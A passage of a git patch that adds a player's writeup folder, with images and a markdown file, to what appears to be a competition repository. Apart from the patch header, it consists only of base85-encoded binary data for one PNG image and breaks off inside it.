From a6d0fef8c9e350cba6c461ac03ed828499f993dd Mon Sep 17 00:00:00 2001 From: arm64_v8a <48624112+arm64v8a@users.noreply.github.com> Date: Sat, 7 Nov 2020 16:43:31 +0800 Subject: [PATCH 1/3] NekomuraAoi: Add my writeup --- players/NekomuraAoi/0.png | Bin 0 -> 20362 bytes players/NekomuraAoi/1.png | Bin 0 -> 10935 bytes players/NekomuraAoi/2.png | Bin 0 -> 38794 bytes players/NekomuraAoi/3.png | Bin 0 -> 12669 bytes players/NekomuraAoi/writeup.md | 370 +++++++++++++++++++++++++++++++++ 5 files changed, 370 insertions(+) create mode 100644 players/NekomuraAoi/0.png create mode 100644 players/NekomuraAoi/1.png create mode 100644 players/NekomuraAoi/2.png create mode 100644 players/NekomuraAoi/3.png create mode 100644 players/NekomuraAoi/writeup.md diff --git a/players/NekomuraAoi/0.png b/players/NekomuraAoi/0.png new file mode 100644 index 0000000000000000000000000000000000000000..f6625acad9169edf34dcd48942c3e93939edb8cd GIT binary patch literal 20362 zcmaHzbySs6x9&F~Qi?&hba!_n-Cfe%-6&lmEhXLE4N7-+hje$tU4Hl6bM9Z~9jK^d z?EUV&*P82@&-^`v%FBwsLBvLcKp<}2!S1t$BLwoc z>)$V^c^R={_ppz(3I<+|6RXiJ|l<=f$Q8#NRs0NxMEB{F0|`>js9(EE7RuPTG)2I zS_ZGaFemeqb9Jmsn)8gZ9RJ_Ly}r=Xwx*Q{jAx>jS)cSkh^hxS5Q|vQ8`P99GP2G> zRZo+)CbQLW7Mo93ZycneL`k2*y`J-8y*Vlnqi=6o0m*+#;P-#B1e&6VD1gt{Q_^!;)RNPo;MDZxuBVJz% zw8k)OU!Las2J-3z<=#u=^k&D1C}KfsTyJ`e(NL7Ds>R2a=HEb8e>F~1$D9UcwG4Pb z-boqzYKMCg(a-rh@TI!Ql5YQMNzBjv9bd0HUZ}kBgZ$l9Sgz)PqXx3@+lSC;l(n4{ zN>tcPMK}UomNSpK!&Zl_(&_FuN4V(3U5n9uG1(Mh2FTc~jWr`b2H)D%d3Phf~CI za?n+-!$|jcT#!V#eRzseKWywU&U8Qb9X)vJYCCVpI@lPuW(O9A@+DIIP*J@&O48EY zXYO3JJV>Ra3S~?Rte?E-eB=Qiu4eOXsSYnKkB_LZl&B#NqIyR2X0ep%rA~XxwTI&M zVzDXno)fa)Eb*8d23LGhap#0$q#&iO8Cp@TguQjFNFG(tG-a9fggzr2t;?fqjP}>I zYLB-*Zj_AKZIL(qJ%Izp43I{l%+#zw{lqEO)lvGC!-Kq3zAibfGz=fUmHyeKhylz! z`|GwUd#oJ!O*058EXP-b%9)YDr~Jl&1T6|ZmdAg_^X2sa_HYjmyhQ` z3Get(B1u!Yn&`-kylV6X-G#%UMQurT?B=Bj$W!7v5Ot#Byodlh>W^(aoqHtfs8E+ZKx49(7jp);jgJyIB z5*@squk&#Lxk~HpxBb5pToCxD%RT{P+4iO(?Q|rF#`LfY**!&&gb^aP$_R!8#7|O? zL%Jt-Dl6;0E-FzDXJ*;3I_$Z{Ud?a@)^KL$qD96YtUeLcn9+s|$ZSp$M;3nZU_bysq3xo+5>wwT`4Og~4#-rH_{n+Oy}* zFGFR-t=r~BD8lxl^+YMx>-IKqP-8n4FK*7QnRKrq3r!v?3%)j4iQ!SP!?|4%t}jhyzo+jE20viO$LMOK z?T)jg#xMTUCX_tyZnmQ_7L-k_){*}nUdEwXcM;EHx3WFB4myn#g+|48Y(c<*y zoycY?f+-_{dJK%f?-^uzR=VE|qUM~dsQ2G4H`S9_J-W$}6GeZ!l%mmM&W>WgoPE4a zGkO&FatZYhtjrD!9iV*&>u#^GTUkI7Dm{`j3Hef0zPPOs8v@O) zEnuZ;?`}AFU;fe&K3+H_Y-^46w+ALeqk|UlI)!Ti@1^y|BDJ(|{4q59OxW^cXY}%3 z;a2XvApP*$d(-21dFASd`=^uH;0NwE5?f7r+FHvqwY$xex9ho6M3B=;<`?&i!)TS? zqut+k?THi}ijx;yXy10Cyy4&?Zr+aF_&pr(alC(jPpGnMN&ZD*d8-u$1B!5Ld3?I3 zq^|ZNS5K}A>vHc|S4q5iGM=SR760YsI=$0(Q;$$q!Fp4j{dHuv6j_>$u~o)dp7K7i zzsJ`2P0{EL6of8oq1jV*NrKNlzy1C9w(3ZUe0>OiYWtCmWg{7l+3J;>8jd3YISyow z&vjosnBF#t7omG>^!sWB3lrvnNfh-vC+v8M{5MvS%DW5%3N{v6-0j?sgDV{*eUp@* z3;BmjOKzO2oU2$=8o#}bJzHsVU;PypGEDW0cVuTMm^-xOh#z;pmcpv0y0k|NC3-qj zuvpmtyC~_h^f2DZ*5l(hb7?N`vz$tbAaC~#F+pel$inqRt;CJx%S}5TuKDhPp~;b$ z&*M847;q115fW#vj)b}ho{olFrjOhV6PpwSE5nqWACfpmI?ZK&lnaoI7a%H8qSB?r zYs-(*q7EbCc8?iBf4W^?I=YPEOR=_4*s9}Hg80ei?lWL9YKTJKZSVAF6zhJK$Zu`) zB6}qW5g>}4tX+YI9B;)FL1MkMp$H2zTEt17pDYef)C}VX=aR9!+YMhqyxevj#N}*# zoc-mAp4P^UVZX|(;w{xOl+?7{RS$TU)qD zi-O|KO*7^V&&LZA)M=XA>o|}53NJLd)T+Gi^z@`&HCFpquSwfiB=HL7qA?zZ?62@1 zFT;YE%W2ssHy=@>hx8fig75fE@Q|H38>k=WcCp!0@BRwbUls-eyY^Ij;nRltw6MZV6dG6XGd6dx zY44*?BkHg|qrZ3~UD|oy!CC)!@qjEJT3iZOb;gr$HO>OO0O^ z*t$_6yNB<+TrP{+Q@o8l_KbCz-{iE~zPr7YW2YsO&7^#D%ePnq4{75~%U@4-CY} zp&Jx7O-5R~{=fRJ2TD9g!DhK72fO$itk#hPYLRx8EGw;iOT8nHB0|Ue5`4_!%>}3w z7G|Dj0_5$)YyH5F&QxY%l|D&GkH?q2YcQU6gLzn`1{ zcCqias+Q|$ehRw1x^$a>)1$0|i+ia$RW&oa?nm?hq=+Dw6&&BxC%4UxzM7WQFfOt* zwm*x;hPPeh23o$jPR{CG2Nvczav|)xQ5iLDf%1BqZjXsRM-MG`9ema6;8fnh2sq@! zxa;T`n`ESP4%{6v&njSqT#o#9nZx6h&L*t^Y{X)#5JzYLN&c4U*1+a zIq{hwu>tmzA&+7hRjG{fw7Af_qKh5^(|JiQ+#r3RRwRwj56>5VFyhC0YloI3`tsHq zKC{@q?)d8mfqZ&Zh&s@JlMVxk7SUWCajaz{*w{poH1{6-b)i5{pX75o)B5V87`u}b znlgKrY2wl-{e#IvRiY1XBRJW#8K$SONA5DBA)<-~bA?$SAFg<^y69J=2bbnb zqWg<^8t+|>M(MDx?XS5o8{4t}L`?k1d`1!4n^{^+PQ=PiSKK#0aM+ATT}EO8E#T%? zUz#*NKQ~oy`KXd9xc)U;>>9yd-TV4fiIMUTUs=~@S3*!7R{82vIjqcfo;*13L0Q78 zc^=vE@zD@;_WijCZc4TdqINsdoj-`Sn@YIaGQfrSijjS4(k;=&$5vYGJ%nUC-hDyq z6MPkTBM8J(M!)McC&YQPH~&r9Nr>FFf53DRcc-tv91XeMQiAFATOKy6MM{XX|y0FWwX z>UF{y4=tiDX`&G+*4;haV?g+Ns8?KByp8Iw%5;=VT{YX0D^y6X19~hJgsE{uS9dQm z4i^Xv+d6vC15o9`bH#IwOzsJY2sw$ZZ}c0s;+3FL6n#L?{PvkDSApU~QiNEpA|6Xp$&oPMy-iB zIXLJCM$?&s=3=Z;cYwDjKW&RV1$}vxp4*9jXjdGX`L;B`xd$5;$_ z9e1Hc$qPeou2kR{v2v%aOjette`qCZtLs~2AVEOS!LH<}r^$my;FUp_!Es`_j~9i1=I35T-x_ zg$jb>-#__g4klV7k`vw%>%5H@a`&A6+#-Vt+o+}PSbzGnM;k3rO~>ZRj#q*t-dq_f zoiIiC5pH^YM&??FeIDbb)FziFQTx=W*oi#*hiqx;COZ&W;bk2Roa|V|ht`+~cpJ_wE*Vu3zm%Uf6Z5&W?}NnZS9V zMOyEFkR?;=Lk)AC9eGs>PpZfjFPX2<&SOtpZt>aQn4EgDypB$#?fn;d`DJh#D?BI_B58Tos5Ye~7rSdo-Wj{~00V#S!yEsp&9Z7abH7stn#e9H|X2DQW4#zBtwJuE0d7fVn5+<>^>eSd6%E{B>k!Gy)!Eh<%0j_ z)o6@RW?Y7dWom8(ft1Z`gX#`_qR2LyY*a9~Uhz}UMki}IfR((DU77NST<|G)$I#Gt?m$5Y%mjawvU})ZXcQ)0D%G`!UE1KB!D~cwBfMU9w>p!h@QlUr$d?+%ti9Q>s~W7m>+3JYS(TBJnQlCn6U6Wv`lcGH ztJ0|kwkrg~-TI8Ll7-emQ>@#R$QXxBhkUJthh4*Dw3M3h$vN2y9R_l|lh|#9e(n*7 z&`1jDJG%5jBKD^DEQYuyrkK0i9&-Czidd1sxHhrWT)>+GajnmY*)VOqe2D-V>px*# zcoDaut{4?R$X+D-+u{f--uLNrP~90e^NuQDl8yQQakKX&SW_nEw6cwu8!xqEKM`@3*iu1-bz-L*cUT zrG@VyhbxT^85StxeAgWv^7NikkTtV&oHwspR+Xb`sn#}BADodJtcY?1k|g-bz>y38 z8!TIh9UEO~OQs6v;l-AooV~^n1Har>^~(K)S1ef|O0S6CO>wEz+)%Vv3JcX%d~Q+n zP@60p6{93jhK(r3Fi>Fz`@$5?e-ST%<429H)o8W7QfzNqmMUs=6-IJghpst-CS^<+ z7|*>UH>uAA{1kN@oZH3)7{AX%r1y7k*8hM9%C7$i^}BOqLYUGm_~&{Cbl^AXGw02! zBv6x=p~o@E%U(Bdf?_{dSm0@U#Dig39r&>~HB#>7{BLA=9W7oGyN%liS( z+aBL=67N_NDr`+8OYA-6qH`-Wpn#^A+MbKsLr^)3c8}3M1XFzyz>MI*7omtwlcSqs zuttV{7q66=-|1A(wD%#*Rj)Zps$uStDpQ1Q^d*{-=CuJ+v8H>wwYNy*Z-&G8&icFu zuJ!YCg!A5O_uk`eksX!CMnfnmONP1ErUq5T53k^Ca-CS1d2Sy&zRF>LA_`R&eFb)Y zmoIu}g&tjR2E_vDJF4_7fpHm0-dbp3=XfsG_%WKumwB-7?bXCRB;sRpDQ)8BE|318 z%nZ9$&Qw&V^@z~^+&vh<-Z9iKu+`78waLjZ@p-DUjP!5^$L~|Qt(WCXBZ01Z?a@Og z|A}TK_t5cn97I4ur@A?9yX}j*4+n}?xE%id3PSNL2TE^O%S1cThZRj$Et=@c-6E(b z;e0ic6<^+!j?XWFfuB6MyoKv0D+_ID(kb6b`S1`-cWgE<{G@*A1*$3P#$kqI6q()R z?bGo+Ze8dzA=e*yLLtoOw{gZo?!v_bp3}r1sOA3tzLV{ze+5bN`r|*b|C&@~nCH1> z{FoU=JW{&ly&3Yc{PyM>B%ULc&WgYfdl{N|aHoU0-0_jtK)eY4l0BOzWsj*2U0Rs= zex@s{*|gmC$b=oZak4FttvD0#>ZslR<^hiyC~%=l<(GB8Q7Z;oc|4*=5}q&0O5zyL zz^v|oX#s|`MhYf)Au!41RH!qJH%kON(aSVrN@}upUiw{40p@$1<-3*FuIU)OZ3;qf){;(5^ z_6c+~2-L>1G8gphuOm9WaGic4|H+=@^z1g+4AwWqgj?K}1_mmp7xnn$$cK}5Cvek| z_ea;_d=Ht(n>HWV84Mc=t>ciXsW1UWrj5ec;nV; zal&^}r@d~QQPuF@+_=?;5zccJC|w;TpOz1S|M%U#QfW^WzZXTk!ua~{?9H$K!h(;3 zMu)w(VhvU^YKsZaKBU*BPdogY?U0ux2kQM}BUF*REt~`U_W3qt!!N(8Oe88S73N6N zp=1b!^8ckiDLN?%-pQBU9XSpX^g_Xbbs(s3y*W|%LC`QLBx`B+E+}p3&5}yd-a{9&?hYW7%Ng2qTZWT=x*ta}H{wBE=7rcaS#uM_}0` zeqd5ZzIVLH>q9H>4@3yd8ctgVqk?w5&?{HRpBo2!Bb^dk+Mt``8 z(}ww{PVP51ya`lEnUV*|P=2?s7n5+fHIk1tQLjhRF-BIsD}Y-E;m}H19;9VupCI-q z$oo#$Nv^-I@EU54k$CMu3PGv$aN5yTPb!&xW_a{0daTgU)zM1klDxtEXB%^W=g8=v z^I5IJ)v`$*G>--f`Ad1LnaH6J%)BE(=7#W{h0vlmOP@yytdhB13Z6dyjG7d==}mUX z`4$_mp{*J%UG}?^;ucy#ik#m`Iz2u}ND#;aAZLb(i(ZZ-4|{RY3E?-ajLBlD<&mr1 zF^R@kmYJEt-BsO7r85~+v2T5S9-~=B5@gtkZeZ^(lv?C;>T(?A`rWteD>`Ppw!;1X{9 zh8BBTWDCm*mP@)Ph1xV1U6sYzMKo^<=69Y(?6qE0I@f~t&Z9Z@>u#n-Xb7;JL zwz++E#uW9Vm0flO+nO~wvbbn@K+#S&V8rxoYqKBYgrlcJ^!Cw*hro+`Sdx#^Qh3>k zyj|7RcnuM%jKfr!WVsUw?w-z}5l8yC6*8b3jR}b>eGdjho^&FG=_$(cWkjLz**lw6 z;Wv6wzyC$-loYEKw2%paBOZs^q{uT| zW#-1?u3o7t)`G?1ZJ<6#MXGpf|U5mKMQ-CQDVyk zn+6B^mYkid)Kt8_C({k!sAJfz$@zAUgn-gES0&==I3{nMYD+VHxSv~eSC;k+GXEs=Yt!YScmGv; zu5y11X>lQ`s>*eA4AGOSUrS7(OykY6oslJQa%X7FvYm!8q{CU0C?iG3U-RA({PT=+ z7ET@+-;b7WsN}33L77d!xHDlsr4!zq^G%^zK#Z~Oi&RifYynErN%W0YyYSf zJ(y3MyQU;_t1HduRajdSi?&?w)ARjZyUzE!$GO^@*CZmh&G=gp5E=%LnZB=($D;TOuUM=tPxmj}f=)H`> zPQ!r~d%nIt2>D`b^LSmv>EGjv!(1yMZ zOVH~&mmA8#grKH3X^#YDPbQ})=75*yeUfLY*2NjGqVL{W(PB z<=|?pwAi{dapGDu;(4%-ru*5=j=p|MKC#+v<0obIvS+|X$doojoyD9crT=zQQyYu| zQVI2la0Mu$SKQ_8_H=u|0a#SS887r_xLYXnQd4oJ1;P7eb>iLxxf8UL5v=oF+NkBo8u5;^GyiXHFKp0U)?C*Zz; z@k;Qgg^dC%)D`d@fy!uaF}eqes`G;_sLff|3)#u&7PiNSeBd+M$dWhYJx(OI$-oTi zrFhFVTY4h)VGpzohN;#tytwP@O%7gP;R%5G8wLu=Up3a2dY7`a7(8{F_)N^6oXM&| zOVJO7Y4e6jA!rmHG*l9V31&6IJbeCA4e8S@XTUHO>M>K7xTrN=@3MszaKDo!mr{y6 zPzkzs526yKuEcaA!c3ISe#_2qqinF!nBx`Sb%5nPs9(U*YSUIf()0PGl~jq$a}G)% zQDA9e83|Il3>}{_khTsLWs3j>LC(k)pBtN3T3m_On2%GK77-*Io6pmt7%4MfseHLt zC#QC$Hk1<9p%&I*_I?X_Y_Lx_N8{7N62eSm@cY)JiXAvHf{}a>Wi-(DHkZ}c9*ka; z(NnvVus9^$CC7m95dGs_RDmB{T2%)7Jutd$p#7xST538R>NjxyK3)v)Y4fLd8njh< znOG#)D* zP890&a^;51fP667^bYoJuX{Sccw&0NtJiBdR$7^+?9?m=0V+(t*@y3|CyjRLaHuF5 zKetP1#dh=&@yMzSxev7*q?h=;I0v%PsXZb|TmfEc~$iXEXT5!;>lO)n$FSI{BK zWaPR&DBOdts-t(;mokWfOx`6J5HE*I3$^lh5JXGt6Qj#fmQo9gsL%ZhZRfz%1&2hr z^`6_!Z&6F7PS9Ktn>?+49%)Sd8OlE8==eH`J^+dWwZP@UF-qQxaUH4*@@(eKxQ?5n_rlHup>2&jO{$Tu?H+- z$;?Z{ZZ2st=5o)PSXv0`EUOB8y>F9wrX+)fpfe033KJNaN?I3w&2(hXCjq7lVN6S_ z$4E%NfZ0ycg4UOv2){Jupq-+mjrpCj1Jn>*PA{p%;VDyQHEFNEk(V_-Op}qLFr`+1IiC z>%W(-3+yG3A~`gYt9G3tzwSX8xck)Hhu;IA&e-A}3nKr{=;ng@tW0~J@8USQk;?M? zE$m7f*mVYU=Bnny<%!vxGEsf*0jCu zOKW)8{A~&b#|=J6Rg>ec1 zVCUt(58fk>dt48l*7KeBd3k_*uCPY|+PzM7G1=1CHs?SDMCnHOW zbV~!9FZQ%=AqGrHA04D>mv-%p3~DAkj{fm*F9s|JjN36nP!XeHWTeLU|?4m+217?Bq}S+Dn>tgd2aW2z>l ziUJJGsiRh@KfJh*!mWNJ*%$QDHEylT_YxC)N5WWsIMMo?guoQI0Z6TG=i&W8G>QZb z)odP$Jv1rBa4IO!D7V%*|9)!CVn#G%Lee2vuKJ*~X#evcz-KPJI54Ph$a|w3iL+^t zUj_3C;&g?W&5Wq0J=Ly}C_wYav$a-#)3?cu+^U4U^3B=NB{b|0d44%<1w*FYf#%_r zQTo_^H0H@@Q1#j8W0~*lu;;WPcwG-@`K8p$S@)et8gp9Oz-Bz&5nZm$R$KvkPAUEEdp0IHqvL zIi?BI+D(ZHvkU$D%um{fs=;vf(`>7aU<`e_-MX_aL&`>3V!N3ZCP7(hD+U3@P78-^ zWv0Y;GwLgqG(akyvSd15HF0xkZRs^7HhLeU#+OjvRHxF&#JL(jot|#>TtBxutuDFB zZpC5vaD9LI?Mm3?D`j+EeP#|SfK~3(k4NppC97e%?wpnuBd+M%gRP$cC4&esB15PP zE#dq+qeEXm+d3+lCYHS|)*53!`YM?HL9G*lScF|7gB;Y>#|~#lxKSp#0VpXz1*VwF zFimZVG!2?UqD)Ze9XNh;@<; z$qw)!p!^8*)Qyd;1W0~GN-Z+lE?_1;n{Q$U;WZ?UElh8kWK%i2@qP=srn40X-nABf zqK+2{)A*Et9Pfd$w1t809vJ<9^gb@FX|a_ReSDn2zFO`%8$eZMKh}Pi74u6=;|AcG z^8BNKNmy+1kQF0$y@n5^owRH62sAaAjB~9x+(+|qIV_3~U6%^ar!EabgG-aR9m)mnUx1W;=?<`7L6;f7Dx7 zW2Voq(cy!|boT0+`-kf2?+IjjwpwgmRHCM+ryhaXxTT?S+at$+JHlSHI2Tuk@gV?E z(S5#}0%Re;i6C~QjFzeyC~Yd)#kKA_T06O(Ne!5jF;}&GCcjs;cHOckxb9O4Q+S=@+u!^GkHUCwb$)xjlu*67VS3{ zC7+45t`J`j7@)LxpW1O={dwyw;rMA?&_v^neV=jlh*yIWMYPS`@!0b$`$md5pkDD* zeOWP`lFxlVzJqm^+8(c&>XS~#>vRtWZbIQ($EU= zyZ5BkgO-j|`#xU!@l^pxI0tCE$Dggrtx85;0c$j;wF8_}au4*TfB2BQ}@I z6m|qqt%|j{uC+t%?K+_`sH-C;l7R#U`q{ODA#|9^!$*I&f7hr|IpL=sS$sdvLbH|h z8*m0}%bu#Vg#aw>q`U;j!SZ+X;*EEjH7L0F2$g%gY!jOk1y2f`+i)I~uh1ZV{N;`M zzUekL1;P4bLz@7{fHCIO{E6Hu>HFH@RgnOiV(t&MK{(8J7jfo zT+7O;Nx=7KdO_Q8{c*s9fZX!R2`$^n#XT~buJ>~Nr!-M4L5s7kirKq$sva<}!9}lr zDXG$gh3a_4@n5SMXaIoO{^(cPd`3_VFFMAEDStd+_|&$ z-rx4Nn;`*XmlJJ4!FMnqY>>>=j4p={sAcy0Dx0b(9Ow$0`+(gDp||0CCl-2&tKeg_ zJ~{TrU5{4LP0>=g*+eSZR?QSCx+s|GHemwndeFbdTZ7z?852T?Dpg|?*$}kvbnZ!s zI_;+(Ez+rt1dZAWdbC~{>i~jdRm~M3Y#|&M>#{tr)R6aB_74U-e0d12&Z4Pt(Jx+9 zhddNjXTGi>iL~JV0ktV|{f{!D!>3Q1#j)?f{HXLeICfwQ95aJ?aAxgaOf+PiOxBT* zgrkE8jsu%f0Fg`7AVGYz%o|K}B7?Ij=tc^5`?I52tlhwUFqiRF>3%4`PK*Bm7YwH? zeBH>e60ckE#D?03=yKTM1a+=A$M;(SP-;7O!Gf?CJyCEFfZptQP0cPQLP6mCpz5q7 z{oaP#Gm|C`8Z0E?tW)*D|JGsM-@MOH1z^L}&toIwA}@;g!NGkk$Ql?uy7PAE>1tMU zu@qDl9#tF8oBZLp*tCLSaz-0!ivP}sF~b+`;exKf!AQ9t>aj2Q$-8KcBm&i)HXwbHGlHxEZ8_FAaus4&$tWB9fMRbHn*0J z#9m;Xs|4mK?-5O*1r?2;m&=*ndjvomgQ<9@5(DxB^Tsi-puB#CiUDGwjT3F%#`Nxd zV-I^V7U<6QZ)^yOdef%>T+&2bOWWRzRn->FR$PjM+vF9hd>dPcE6fPMpi?a^-IvWn zYN@>Dc}->Z`V&5!(1*_jr~`mMc(~i5r$e5$yUL8#RGwd1ZoV$&KNI${(F1d&*~J8a zzc`(G8auoiUuAW6(MrLDKx{fJ_792jj#-_Zlqf<1qxo#or+$hq)%<4)MQnEpgnct- zE>Oe1O?JKW3synxvyp#OQBd@JT!*y*yICf{&*8Lp_v#bSjF2z-Iqd*LSEe!^bPeV? zq)BpG7~$;&M@WWw-R~4?lSr4kr@an5m@?UnWi)`NqO-L(jv6l8V&@_%JR*s(AyJB}mzOj+`INbRcg$?cgfQt}l9 zRYhmak`R@`EpAyE2#?@I$9%+Jqm3WjLVOk6 z?PWQA$Y0id#D{Ztm(a~ZWgJ$%D2H+4Rqag~E1ORkQubDgVoy!DeX$a^6Erhv@06LL zTM}guAP_usf7#sU8cSAxF&Mv)xTW{3JAGK2R{ugk%_VTIw`YM__iVqKTt+a$0NX9b zYo&z-nlaGqEWhJZ&}f13%cR=@W8pX@J}xi!l>o-g)>MeV*R1AIvF{Ew?lvndiVe{} zcwj)ClID^LPg(v^EO_DOeJ71ZO`4TMQQ&VdSDt9-5n!-1EH*YZpNp>nHd11z34V*a z98s(m=Dv)tnL>nzyuAGMKj#}n1j^~t3%w-4a!|`B`o@Dh8!R_tZ@6&3;Iv`30A?eO0msqkxAaOswROwnOjQ`F2T0Sgj@ zgC?)=t1fkv-t^LO-gHuqthUP;2MYNXDy*Oj9lZI;KGZ+f8LaDABr2QSEqV{L3?(>Q zEuFOIJt*+H(kEBf8r*Q`db46C!irb4xLwC~BXof+PhL_RUM?`+kt_ybSld-k!sJl@ z2^_8CX8d*_b9L}$?wV2NkUjc3S;gVcsc%8 z%q4-SPQLSN)kuwQXPKRi2_P8wmTTbk{IbOMc(nH{q}GJFtjHnNtXIKFEh`MrW+HgK@r4oYj5yc0ILa|`_|IPDv9?_SsIbg za&EY1qx0$l;f!H^R)#26PilnkV~T~j)#-heot$T}U^T>V(8Q@tx)bL<7pD09_XU%xu%=Ix-R~yxXiRXbJN}aCt7!v zD;P>U$Pc|~!nn_&9N4LeiPGu2M_IY5cPdwisH7%;Hl=TF7T8R~t`TEFIxh{mq1V+k z%1<5MkWhKMv-SRAZ@8N5j%zXNpH_dqtF#28Bshp-V~aRN4}%*}Mi}Tp8;oOzs8$k+waZn4>8MVHr9o!kIZb+xC{ zIlAF+qqF`)Zj|gkyq&9?V>b=t2emv;jS5M$%c&>mj*rXP+1^)SMdk9GU(bMO;7{bH zo{DGynWG~!v(9*g`>c+#B>%g*-eQFGML+j9-3d0%x6IT(;@NIW*KIlU#jZ$cuAKsY;C`~*ZL z@DyYyOWpypKYZ{_JxP0#9CWD`#JJ!D$zc zkklWzwcJW%=xx)7d2{!%=iPyZrFnXO`yNp8A3{h8N>cdU#{U#pS$LlO2AN6ka%+aQ zeY1XOKM>LZc2gj0B>cAs`^se&$C&dO1(MMZ#Pe`g01^Zys$2^d%%|vnz*V&#mj1l_ zW0|6$dGQcG2dE{`ES^&xyhMbsPi(F=V;wf5>nYB*fSLl-mXXJb8aZ*>YGcRe#BAOJ z-*?Cv8AX2~xuGO%&p4^)Q6V#y;25bn3g|?@3f~HVJU)W}q zPf)W8fG4RTvbw;PneO2M&D%*W2VF|&Nzi@G`zylstV-(;oL%H%m6rx|J>|&;Dwe*9 z&+QF$drnr#(A_|FB55w}@J~5uu3f=nFEqE{mA+n17ov%W`i(Pa>JaB5wOysLPz^#6 zJLF|J2M#ORj8b2-z@)pK-}B&tR;ura;g^IM(K_gVd==}}GAN8I(i%s*b47EuNAUPP zo{--xHW%1&v4IHSY{wUVh+Qok`}l0PxGDIM`UBBk>K*EU=M8C4PicKTC|umT1G%Ca zBi>N)$D2Q{Q8*rVLlgU8uW@N6d$n56XQ+Lb9t9Z@3=H#ME(svfd4n`?Djco6Z)U!q zTSJQfHKBw$RHGW&dmHu++V8)O1UXZ7o%t!g%MM}NY29d&`YfBt5(y=*WeA|_s)`zU zYYRRk+G#HQ=WV#X9xC16cG>Wp`u3R!#!o?(Z9hE7vR`tD`e6UPPopzJ8%jlC+wp;K zYJX`#XYU`9QOpGr+@L?8oAqqWRcu_E?RV*YEW9NQVX$DWxmdZ~1h5H)Sl-r_@)YA< z4Z;c?PAB=sc3fD`40EM9z@HrgJ9?(fRCYN!{Hm`WItTON{wmMxs7|%k@p#?L_l>gA zJ5*QxcC^&u0`%cyGceXqQnPal`GSv(%$WpOAIy&r%WOA~l(CiM+|6?P%WX0gD7&Pj zbL9bb57wSqFr0Zmwyf0K@6e)v`U0@F62%xH{SJgZczK5iVX*({@x1tk8Hc-xgJ#=} zey4V_cN53@#p~=X+`F}HJJ935ZlCR$vIE&yI+Vx)aKrgoN`PIZfZsSWYyHGCHza@o zA(}j=BR4tz$#4B~bsGv^qAA=(VAiHWKd9)?(Ov54+|+hcCH8#S2j(^fwk5q+6}7mR zp%n1vS9Q4qo`C?G0u9UQDp6=e_t@jNH*wQ*yz6ymU{-6&4rp zr$Lsez0F|zYltUp+VV_Z5Rk^DHs<^UFBw{dmo@bs_WBgh+Ay_?roCnB+}^9hly@c% zOkTvEh0< zKQQbcfsyPBD4#Y7576fI@5aH{+GHtGz_gA+1O$J8nl5$2)Z`IRw=K4~BkQcZfG`0T zlsH8l!vszZ6HzECL_JxWTeIrC7+c$V$o>ot0$PymAP*pda{@fc#>v( z>vLmY)Vh{o*iTxUoPr#nw3&eveFp4{o-PwFh?=HMzQ?aa2dd53p&Oi}JV&Mf=AB}> zJ;oTIRcPGlo^IHS63gu}LAz__r1`}%(?9Spf1ztb`Dq>GWI+6)P1bwEE+*=LgkUz4 zN7~ww9MWfW4w4|nHZ~xuLi3ZuWC0TeVs`w`i`Ymf{oeRhS5h$Wx`ccX#G!r;9sH07 zKP&)+acd)hl>f@8H4*Cih7GT-etC0ZH5ECL_ z7za#Mvb5{F?QUhNt$ZZcYn|}LR!7o*fpagP!{n6GZjds{#B|}I+6(_U>pRyNBbz-@ zpd2dg10uWKqM7JH_mGMk3vFtkttYVVaa}-GC!PHm`@j*I4~a_!nH&bY=GI1s8I0a?EzCXJU#y{>CUxhx z5W8m^k3P&O(LX*(#;l+qp4mdRZ;olj3s5B@iNp+@FT{0(r6J{gow;7Wf`=RM_$ITn zX+|7N4bl-{ehigSkvFa$r3I9gR0DX2Y+qAT1!iq|!};C2=o;wGBOwVv)<6vI#?%(T zth8rPHpy5mz{HWKB2E~vPgQAWaMT z-9J&2>F>(Ps6-T7%-z}J&ap8tZ)U2+4AUCcQ+K920zQt#odid9X)mj0FAD(?Nm&V< z3s`znNQNSX6SlQ+AIBpifCkFQcdSx55qt-g!m09an7V~<4-9msdX@1ti8hJ!we!=HB+YYFh=)7`04q16lrfnI)F^xnU0(!ZEBgeLNhP5#b~>WpQa9r3o4mBqidtjg|Do+e&} zrLN8QRMA^2pHI!SCI12tSho+%@(J=ZuOP;0{=;9^Xis4eLWz|qwq-CQsmBa;j%;(c zyj%1?1$Y0g_^JC=Rb|*4z3=OSOmKgO{5!75qLL1v1Hp*@6$Ie9pnQM=84!R21@hM# z>XUu?jIKlJ=sW{xkeZrN{z)gW`SakKNNa~d{sH_fhQMAuT%NjyI!-Gvo=2T!qeaGt z@oybnZp|vMr|n#R4Q3hlmvgmQ$zlZg`r^AFqd^t#037X_4XQ$E8(W(eE*f|O3d{Zv zMU=HxWZ7B*HbmD}U>-x+EP+cajfw~w{(5F+MM@Lf6@DRb|In4N5DIw3`6(Ap#_G0s z^7z3s?XLwdhK_Yiq&{*uoA$>x9;zBL8Nr6a+~t{RH``%J#BP|tXk<`FJq&iGrc*Tm z9P(^zbvoRGzxLNUmow8_&ySQoW!Ic&&JaHXbrmJcG!BdnQxko5EekZxCzC|dJ z;wk1sFa!;qQ!%NLX?d?Ln`vci000<<(WulG9)JFXF{TFG()yP3@#!7>-j^1KX~}wm z^%)8_CWiPA4vVSFW)T5(IxI#fUx5D}R=c^|S`fdvY-X?Mv82nUS(7^Wy@l0{`)|Yx zC6e%fQIB)AC&eg7>yo za7-<#bhELrG&UH)!{GX&!=pC+#QZY+cK9HdKp>W|nG6I$v}BE-4g(>P$uJCbSp9=X zy@z9esZ6dw(aVXMSMO&jpVBQ5;y(xnMn4z;fJh>(YHnZu)n7!i994Ap3W-Cak!5nl zcV{Dwbva*bSz>OaN2O3cK62#=JsDsa_E$tgazXjqtLG4|Rs=x~{@-SzjGK)GhG8e8 zQ#Q>E*41GRl!ZsW3B~vNJRC zbFrh-sK@UlPw{ov(mqnTVxX+Yse?K`jy6Xk69J&8rqRRB(%IUqt5?v$?=7lrGSTN+ z8XJhEGVSlPu5!o1paXzJs-a^UltsaQi-P@#Lr;6Fmwq`Bomsef)+8-i92S!ptl$X5 zlE3K%Bl*|SCgGI(eOxnR4d7N$C$p@UPNlA&F#-28b@vWp1PJx>{ORHykyMsiR2d#P z!m%nY7x_Xl;T%FSj83HjfR(X92ftS)R}dXpQ)joeiGlVkjmQ;fbxXUmrRlIlATFiE zN?&rXNR0nr(rHvGW%f9q&@rCMr|5GBnWLk_WO&$GY@a(-Ig!QG@IR_)?P%rkUs@by z_3*j6dWA-MPi8vA;mE}F;;N4}F4XStu`@FUfVS=)WwV}27Owv_b#|HPbMdUEj&2I& 